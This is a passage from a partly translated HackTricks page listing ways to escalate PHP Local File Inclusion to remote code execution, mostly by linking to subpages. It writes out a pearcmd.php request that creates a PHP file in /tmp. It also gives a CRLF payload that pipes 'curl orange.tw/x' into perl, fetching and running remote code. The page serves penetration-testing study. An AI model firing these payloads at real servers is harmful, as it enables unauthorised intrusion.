Si vous trouvez une Local File Inclusion mĂȘme si vous n'avez pas de session et que session.auto_start est Off. Si vous fournissez le PHP_SESSION_UPLOAD_PROGRESS dans des donnĂ©es multipart POST, PHP activera la session pour vous. Vous pouvez abuser de cela pour obtenir une RCE :

LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS

Via temp file uploads in Windows

Si vous trouvez une Local File Inclusion et que le serveur tourne sous Windows, vous pourriez obtenir une RCE :

LFI2RCE Via temp file uploads

Via pearcmd.php + URL args

As explained in this post, the script /usr/local/lib/phppearcmd.php exists by default in php docker images. De plus, il est possible de passer des arguments au script via l'URL car il est indiquĂ© que si un paramĂštre d'URL n'a pas de =, il doit ĂȘtre utilisĂ© comme argument. Voir aussi watchTowr’s write-up et Orange Tsai’s “Confusion Attacks”.

The following request create a file in /tmp/hello.php with the content <?=phpinfo()?>:

bash
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1

Ce qui suit exploite une vuln CRLF pour obtenir RCE (d'aprĂšs here):

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a

Via phpinfo() (file_uploads = on)

Si vous avez trouvé une Local File Inclusion et un fichier exposant phpinfo() avec file_uploads = on vous pouvez obtenir RCE :

LFI2RCE via phpinfo()

Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

Si vous avez trouvé une Local File Inclusion et que vous pouvez exfiltrer le chemin du fichier temporaire MAIS que le server vérifie si le fichier à inclure contient des balises PHP, vous pouvez essayer de contourner cette vérification avec cette Race Condition :

LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

Via eternal waiting + bruteforce

If you can abuse the LFI to upload temporary files and make the server hang the PHP execution, you could then brute force filenames during hours to find the temporary file:

LFI2RCE via Eternal waiting

Vers une erreur fatale

Si vous incluez l'un des fichiers /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar. (Vous devez inclure le mĂȘme fichier 2 fois pour dĂ©clencher cette erreur).

Je ne sais pas Ă  quoi cela sert mais ça pourrait l'ĂȘtre.
MĂȘme si vous provoquez une erreur fatale PHP, les fichiers temporaires PHP uploadĂ©s sont supprimĂ©s.

Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks